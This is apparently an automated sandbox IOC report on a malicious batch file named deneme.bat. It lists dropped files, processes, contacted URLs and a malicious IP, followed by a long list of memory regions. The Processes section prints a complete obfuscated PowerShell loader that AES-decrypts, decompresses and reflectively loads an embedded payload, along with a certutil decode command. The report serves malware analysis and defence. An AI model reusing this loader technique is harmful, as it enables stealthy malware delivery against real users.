IOC Report
deneme.bat

loading gif

Files

File Path
Type
Category
Malicious
deneme.bat
Unicode text, UTF-16, little-endian text, with very long lines (32767), with no line terminators
initial sample
malicious
C:\Users\user\AppData\Local\Temp\allah.bat
DOS batch file, ASCII text, with very long lines (59710), with CRLF line terminators
dropped
malicious
C:\Users\user\AppData\Local\Temp\allah.bat.exe
PE32+ executable (console) x86-64, for MS Windows
dropped
malicious
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
data
modified
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lws4mod0.ycy.ps1
very short file (no magic)
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwf14wkq.feb.psm1
very short file (no magic)
dropped
\Device\Null
ASCII text, with CRLF line terminators
dropped

Processes

Path
Cmdline
Malicious
C:\Windows\System32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\deneme.bat" "
malicious
C:\Users\user\AppData\Local\Temp\allah.bat.exe
"allah.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $lILxN = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\AppData\Local\Temp\allah.bat').Split([Environment]::NewLine);foreach ($vOhpq in $lILxN) { if ($vOhpq.StartsWith(':: ')) { $OHwZk = $vOhpq.Substring(3); break; }; };$PPhGD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($OHwZk);$YGMef = New-Object System.Security.Cryptography.AesManaged;$YGMef.Mode = [System.Security.Cryptography.CipherMode]::CBC;$YGMef.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$YGMef.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6pNVYWetf4chAWo/pEbNaRZ3xRLeWmBPF3OumGmDVww=');$YGMef.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxQsLBFdvl0gyeVxt5ivJg==');$blbua = $YGMef.CreateDecryptor();$PPhGD = $blbua.TransformFinalBlock($PPhGD, 0, $PPhGD.Length);$blbua.Dispose();$YGMef.Dispose();$MkYmI = New-Object System.IO.MemoryStream(, $PPhGD);$wtLBU = New-Object System.IO.MemoryStream;$JeXHz = New-Object System.IO.Compression.GZipStream($MkYmI, [IO.Compression.CompressionMode]::Decompress);$JeXHz.CopyTo($wtLBU);$JeXHz.Dispose();$MkYmI.Dispose();$wtLBU.Dispose();$PPhGD = $wtLBU.ToArray();$weWpP = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($PPhGD);$BDLvJ = $weWpP.EntryPoint;$BDLvJ.Invoke($null, (, [string[]] ('')))
malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\mode.com
Mode 60,3
C:\Windows\System32\certutil.exe
CERTUTIL -f -decode "C:\Users\user\Desktop\deneme.bat" "C:\Users\user\AppData\Local\Temp\allah.bat"

URLs

Name
IP
Malicious
74.234.104.236
malicious
https://api.ipify.org/
unknown
http://nuget.org/NuGet.exe
unknown
https://stackoverflow.com/q/14436606/23354
unknown
http://pesterbdd.com/images/Pester.png
unknown
http://www.apache.org/licenses/LICENSE-2.0.html
unknown
https://go.micro
unknown
https://stackoverflow.com/q/11564914/23354;
unknown
https://stackoverflow.com/q/2152978/23354
unknown
https://contoso.com/
unknown
https://nuget.org/nuget.exe
unknown
https://contoso.com/License
unknown
https://contoso.com/Icon
unknown
https://ipwho.is/
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
https://github.com/Pester/Pester
unknown
https://go.microsoft.cot
unknown
There are 7 hidden URLs, click here to show them.

IPs

IP
Domain
Country
Malicious
74.234.104.236
unknown
United States
malicious

Registry

Path
Value
Malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7
Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7
Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7
Name

Memdumps

Base Address
Regiontype
Protect
Malicious
20E50F0A000
trusted library allocation
page read and write
malicious
20E693C0000
trusted library section
page read and write
malicious
20E62CED000
trusted library allocation
page read and write
malicious
20E62993000
trusted library allocation
page read and write
malicious
7FFBAC2C0000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
7FFBAC330000
trusted library allocation
page read and write
7FF7EB5BC000
unkown
page readonly
20E69890000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E692C0000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E698B0000
trusted library allocation
page read and write
20E50CB2000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
7FFBAC270000
trusted library allocation
page read and write
2CE8C7C000
stack
page read and write
20E69860000
trusted library allocation
page read and write
26453520000
trusted library allocation
page read and write
7FFBAC2D0000
trusted library allocation
page read and write
20E6986B000
trusted library allocation
page read and write
20E693D0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E698A5000
trusted library allocation
page read and write
7FFBAC230000
trusted library allocation
page read and write
20E698D0000
trusted library allocation
page read and write
20E69862000
trusted library allocation
page read and write
20E50CC0000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69861000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
7FFBAC400000
trusted library allocation
page read and write
2FE6F8E000
stack
page read and write
20E692A0000
trusted library allocation
page read and write
20E69980000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
7FFBAC5A0000
trusted library allocation
page execute and read and write
20E4EE2D000
heap
page read and write
20E69870000
trusted library allocation
page read and write
20E69867000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69104000
heap
page read and write
20E698D0000
trusted library allocation
page read and write
8956FF9000
stack
page read and write
89570F9000
stack
page read and write
20E69950000
trusted library allocation
page read and write
20E692A0000
trusted library allocation
page read and write
20E50CB4000
trusted library allocation
page read and write
20E69890000
trusted library allocation
page read and write
20E69940000
trusted library allocation
page read and write
20E69950000
trusted library allocation
page read and write
7FFBAC480000
trusted library allocation
page read and write
20E69880000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E69300000
trusted library allocation
page read and write
26452AE5000
heap
page read and write
20E69088000
heap
page read and write
20E69870000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E50CB1000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E69880000
trusted library allocation
page read and write
20E50CC0000
trusted library allocation
page read and write
20E6912A000
heap
page read and write
20E698E0000
heap
page read and write
20E69860000
trusted library allocation
page read and write
20E52264000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E69861000
unkown
page read and write
20E50C84000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69862000
trusted library allocation
page read and write
20E69989000
trusted library allocation
page read and write
7FFBABFF4000
trusted library allocation
page read and write
7FFBAC225000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E693B5000
trusted library allocation
page read and write
20E69188000
heap
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69880000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
7FF7EB5C5000
unkown
page write copy
20E50CB0000
trusted library allocation
page read and write
20E693D0000
trusted library allocation
page read and write
7FFBAC580000
trusted library allocation
page read and write
7FFBAC2B0000
trusted library allocation
page read and write
20E69AF0000
trusted library allocation
page read and write
20E4EE2F000
heap
page read and write
20E6928C000
trusted library allocation
page read and write
20E69876000
trusted library allocation
page read and write
895707E000
stack
page read and write
7FFBAC290000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69B30000
trusted library allocation
page read and write
7FFBAC560000
trusted library allocation
page read and write
20E69890000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E698D0000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E69864000
trusted library allocation
page read and write
20E69810000
heap
page read and write
20E50CE0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E698D0000
trusted library allocation
page read and write
20E693D0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
7FF7EB5C5000
unkown
page read and write
20E50CC0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69104000
heap
page read and write
20E50CE0000
trusted library allocation
page read and write
20E69186000
heap
page read and write
20E50CE1000
trusted library allocation
page read and write
7FF7EB5B0000
unkown
page readonly
20E69280000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
20E6929F000
trusted library allocation
page read and write
20E69940000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E50CB1000
trusted library allocation
page read and write
7FFBAC660000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
21E54A60000
heap
page read and write
20E69290000
trusted library allocation
page read and write
7FFBAC1C0000
trusted library allocation
page execute and read and write
20E69880000
trusted library allocation
page read and write
20E69480000
trusted library allocation
page read and write
20E6948D000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E4EE88000
heap
page read and write
264528B0000
heap
page read and write
8956E7E000
stack
page read and write
26453510000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
7FFBAC3A3000
trusted library allocation
page read and write
7FFBAC260000
trusted library allocation
page read and write
94C56BB000
stack
page read and write
7FFBAC500000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E698B0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E50CB5000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
7FFBAC570000
trusted library allocation
page read and write
20E4EECC000
heap
page read and write
20E692A0000
trusted library allocation
page read and write
264528D1000
heap
page read and write
20E69870000
trusted library allocation
page read and write
20E60D01000
trusted library allocation
page read and write
20E69940000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69AD0000
trusted library allocation
page read and write
7FFBAC014000
trusted library allocation
page read and write
26452810000
heap
page read and write
20E69870000
trusted library allocation
page read and write
8956BFB000
stack
page read and write
20E50CE2000
trusted library allocation
page read and write
7FFBAC1D2000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E693D0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E693D0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69970000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69880000
trusted library allocation
page read and write
20E52240000
trusted library allocation
page read and write
20E69890000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69AE0000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E692A0000
trusted library allocation
page read and write
20E69866000
trusted library allocation
page read and write
7FFBAC3B0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E50CE1000
trusted library allocation
page read and write
7FFBAC04C000
trusted library allocation
page execute and read and write
20E69280000
trusted library allocation
page read and write
20E698A0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E690D8000
heap
page read and write
20E52045000
trusted library allocation
page read and write
7FF7EB5BA000
unkown
page readonly
20E69980000
trusted library allocation
page read and write
21E566F5000
heap
page read and write
20E693C0000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
20E693F0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
7FFBAC0A6000
trusted library allocation
page read and write
20E69960000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
20E698D0000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E698A0000
trusted library allocation
page read and write
20E69B00000
trusted library allocation
page read and write
20E69080000
heap
page read and write
20E69290000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69470000
trusted library allocation
page read and write
7FFBAC630000
trusted library allocation
page read and write
21E54740000
heap
page read and write
26453770000
heap
page readonly
20E69870000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E699C0000
trusted library allocation
page read and write
7FFBAC320000
trusted library allocation
page read and write
20E693E0000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E692A0000
trusted library allocation
page read and write
20E4EDA0000
trusted library section
page read and write
7FFBAC340000
trusted library allocation
page read and write
20E69940000
trusted library allocation
page read and write
20E50CE4000
trusted library allocation
page read and write
20E698C0000
trusted library allocation
page read and write
20E69861000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
7FFBAC190000
trusted library allocation
page read and write
264528FB000
heap
page read and write
20E50CE0000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E698A0000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E6929F000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E693D0000
trusted library allocation
page read and write
20E50CE1000
trusted library allocation
page read and write
20E699A0000
trusted library allocation
page read and write
7FFBAC4E0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E692A0000
trusted library allocation
page read and write
26452AE9000
heap
page read and write
20E50CE1000
trusted library allocation
page read and write
20E693F0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
26452AE0000
heap
page read and write
20E50CE1000
trusted library allocation
page read and write
20E698D0000
trusted library allocation
page read and write
20E69866000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E610EB000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
7FFBAC430000
trusted library allocation
page read and write
20E69890000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E50CD3000
heap
page read and write
20E692A0000
trusted library allocation
page read and write
7FFBAC00D000
trusted library allocation
page execute and read and write
20E50CB4000
trusted library allocation
page read and write
20E69283000
trusted library allocation
page read and write
20E68ED0000
heap
page read and write
20E69286000
trusted library allocation
page read and write
20E693E0000
trusted library allocation
page read and write
20E69862000
trusted library allocation
page read and write
20E699BC000
trusted library allocation
page read and write
20E69880000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E4EE2A000
heap
page read and write
7FFBAC1D4000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E698C0000
trusted library allocation
page read and write
20E69890000
trusted library allocation
page read and write
20E524CC000
trusted library allocation
page read and write
94C527E000
stack
page read and write
20E6986C000
trusted library allocation
page read and write
7FFBAC0B0000
trusted library allocation
page execute and read and write
94C6043000
stack
page read and write
20E69AC0000
trusted library allocation
page read and write
20E50CC0000
trusted library allocation
page read and write
7FFBAC360000
trusted library allocation
page read and write
20E692E0000
trusted library allocation
page read and write
20E4ED80000
heap
page read and write
20E693B0000
trusted library allocation
page read and write
7FFBAC200000
trusted library allocation
page read and write
20E50C90000
heap
page execute and read and write
20E693B0000
trusted library allocation
page read and write
20E69410000
trusted library allocation
page read and write
7DF4527D0000
trusted library allocation
page execute and read and write
20E50CB1000
unkown
page read and write
20E520F9000
trusted library allocation
page read and write
20E692C0000
trusted library allocation
page read and write
20E60D2A000
trusted library allocation
page read and write
166F3C97000
heap
page read and write
7FFBAC4A0000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E690D6000
heap
page read and write
20E69860000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E69B40000
trusted library allocation
page read and write
20E698D0000
trusted library allocation
page read and write
20E698B0000
trusted library allocation
page read and write
7FFBAC390000
trusted library allocation
page read and write
26453780000
trusted library allocation
page read and write
166F3E60000
heap
page read and write
20E69860000
trusted library allocation
page read and write
20E50CE7000
trusted library allocation
page read and write
20E68EF1000
heap
page read and write
20E69860000
trusted library allocation
page read and write
20E69867000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
2CE8CFE000
stack
page read and write
20E693C0000
trusted library allocation
page read and write
20E51B9E000
trusted library allocation
page read and write
20E69434000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E693D0000
trusted library allocation
page read and write
20E692A0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
7FFBAC455000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E4EDC0000
heap
page read and write
2FE727E000
stack
page read and write
20E69890000
trusted library allocation
page read and write
20E692D0000
trusted library allocation
page read and write
94C563E000
stack
page read and write
20E698B0000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E69280000
trusted library section
page read and write
20E50CE1000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E4EEC9000
heap
page read and write
20E69290000
trusted library allocation
page read and write
20E4EC40000
heap
page read and write
20E506D0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
7FFBAC550000
trusted library allocation
page read and write
20E60D10000
trusted library allocation
page read and write
166F3F85000
heap
page read and write
20E69860000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E698A0000
trusted library allocation
page read and write
20E698B0000
trusted library allocation
page read and write
20E698B0000
trusted library allocation
page read and write
20E69980000
trusted library allocation
page read and write
20E69890000
trusted library allocation
page read and write
94C610A000
stack
page read and write
20E69880000
trusted library allocation
page read and write
20E69310000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
7FFBAC4D0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69970000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
21E565A0000
heap
page read and write
20E690E6000
heap
page read and write
20E506F0000
heap
page read and write
20E693C0000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
20E698C0000
trusted library allocation
page read and write
7FFBAC210000
trusted library allocation
page read and write
20E51C18000
trusted library allocation
page read and write
20E6928A000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E69880000
trusted library allocation
page read and write
20E698B0000
trusted library allocation
page read and write
20E69865000
trusted library allocation
page read and write
20E698A0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
7FFBAC1A1000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
8956F79000
stack
page read and write
94C507F000
stack
page read and write
7FFBAC4C0000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
7FFBAC650000
trusted library allocation
page read and write
20E69880000
trusted library allocation
page read and write
20E69871000
trusted library allocation
page read and write
20E69990000
trusted library allocation
page read and write
20E50CC0000
trusted library allocation
page read and write
20E506B0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E518B2000
trusted library allocation
page read and write
20E698D0000
trusted library allocation
page read and write
26452A80000
heap
page read and write
20E60D70000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69299000
trusted library allocation
page read and write
20E69450000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E69890000
trusted library allocation
page read and write
20E69864000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E69947000
trusted library allocation
page read and write
20E68E10000
heap
page read and write
20E69860000
trusted library allocation
page read and write
7FFBAC3A8000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E50CA0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E696F0000
heap
page execute and read and write
20E69860000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E50CD0000
heap
page read and write
20E50CB0000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E5224F000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E50CE3000
trusted library allocation
page read and write
20E50BB0000
trusted library allocation
page read and write
7FFBAC1AD000
trusted library allocation
page read and write
20E4EE95000
heap
page read and write
20E69880000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
20E69940000
trusted library allocation
page read and write
20E50CB1000
trusted library allocation
page read and write
21E547E0000
heap
page read and write
7FFBAC240000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69B4C000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
7FFBAC287000
trusted library allocation
page read and write
7FFBAC540000
trusted library allocation
page read and write
20E50CB4000
unkown
page read and write
20E69860000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E698E5000
heap
page read and write
20E69864000
trusted library allocation
page read and write
20E68E84000
heap
page read and write
7FFBAC450000
trusted library allocation
page read and write
7FFBAC310000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E69861000
trusted library allocation
page read and write
20E69950000
trusted library allocation
page read and write
7FFBAC250000
trusted library allocation
page read and write
166F3E80000
heap
page read and write
20E69860000
trusted library allocation
page read and write
7FF7EB5C6000
unkown
page readonly
7FFBAC4B0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E69861000
trusted library allocation
page read and write
264534A0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E5200B000
trusted library allocation
page read and write
20E69866000
trusted library allocation
page read and write
20E610F2000
trusted library allocation
page read and write
20E698C0000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
94C50FD000
stack
page read and write
94C51FE000
stack
page read and write
20E69C2C000
heap
page read and write
20E52071000
trusted library allocation
page read and write
20E50CC0000
trusted library allocation
page read and write
7FFBAC380000
trusted library allocation
page read and write
20E698A0000
trusted library allocation
page read and write
20E692B0000
trusted library allocation
page read and write
7FFBAC010000
trusted library allocation
page read and write
166F3C9F000
heap
page read and write
20E69950000
trusted library allocation
page read and write
21E566E0000
heap
page read and write
20E69871000
trusted library allocation
page read and write
20E506A0000
trusted library section
page read and write
20E69869000
trusted library allocation
page read and write
7FFBAC420000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E50CB4000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
7FFBAC2F0000
trusted library allocation
page read and write
20E698C0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E50CE2000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69940000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E69970000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69970000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E699D0000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
7FFBABFFD000
trusted library allocation
page execute and read and write
20E69860000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E69861000
trusted library allocation
page read and write
20E698A0000
trusted library allocation
page read and write
7FFBAC3A0000
trusted library allocation
page read and write
264528F3000
heap
page read and write
20E50CC0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E693D0000
trusted library allocation
page read and write
20E698B0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E4EE5E000
heap
page read and write
20E69861000
trusted library allocation
page read and write
20E615A6000
trusted library allocation
page read and write
20E699F0000
trusted library allocation
page read and write
7FFBAC46D000
trusted library allocation
page read and write
7FFBAC410000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E69C20000
heap
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
7FFBAC2E0000
trusted library allocation
page read and write
2FE6F0C000
stack
page read and write
20E69288000
trusted library allocation
page read and write
20E698A0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
7FFBAC300000
trusted library allocation
page read and write
7FFBAC1F0000
trusted library allocation
page read and write
20E693D0000
trusted library allocation
page read and write
20E69460000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
20E69710000
heap
page read and write
20E69860000
trusted library allocation
page read and write
20E50CE4000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E692A0000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
20E692A0000
trusted library allocation
page read and write
7FFBAC474000
trusted library allocation
page read and write
26452880000
heap
page read and write
20E69880000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E50CB6000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E691C9000
heap
page read and write
20E69940000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
7FF7EB5B1000
unkown
page execute read
20E69490000
trusted library allocation
page read and write
20E69990000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
20E693C6000
trusted library allocation
page read and write
7FFBAC590000
trusted library allocation
page read and write
20E69970000
trusted library allocation
page read and write
20E69B20000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
7FFBAC1E0000
trusted library allocation
page execute and read and write
20E693B0000
trusted library allocation
page read and write
20E693E0000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69710000
trusted library allocation
page read and write
20E69950000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E6928B000
trusted library allocation
page read and write
20E69960000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
21E547B0000
heap
page read and write
20E69881000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69869000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E4EDE0000
heap
page read and write
7FFBAC620000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
26452820000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E698C0000
trusted library allocation
page read and write
20E50CE6000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
20E69890000
trusted library allocation
page read and write
20E69430000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
26453760000
trusted library allocation
page read and write
7FFBAC47A000
trusted library allocation
page read and write
20E616F6000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
20E699B0000
trusted library allocation
page read and write
20E50CB4000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
7FFBAC000000
trusted library allocation
page read and write
20E50CF0000
heap
page read and write
20E68D01000
heap
page read and write
20E5226D000
trusted library allocation
page read and write
166F3F80000
heap
page read and write
20E50C60000
heap
page execute and read and write
20E69870000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E692C9000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69960000
trusted library allocation
page read and write
20E693B0000
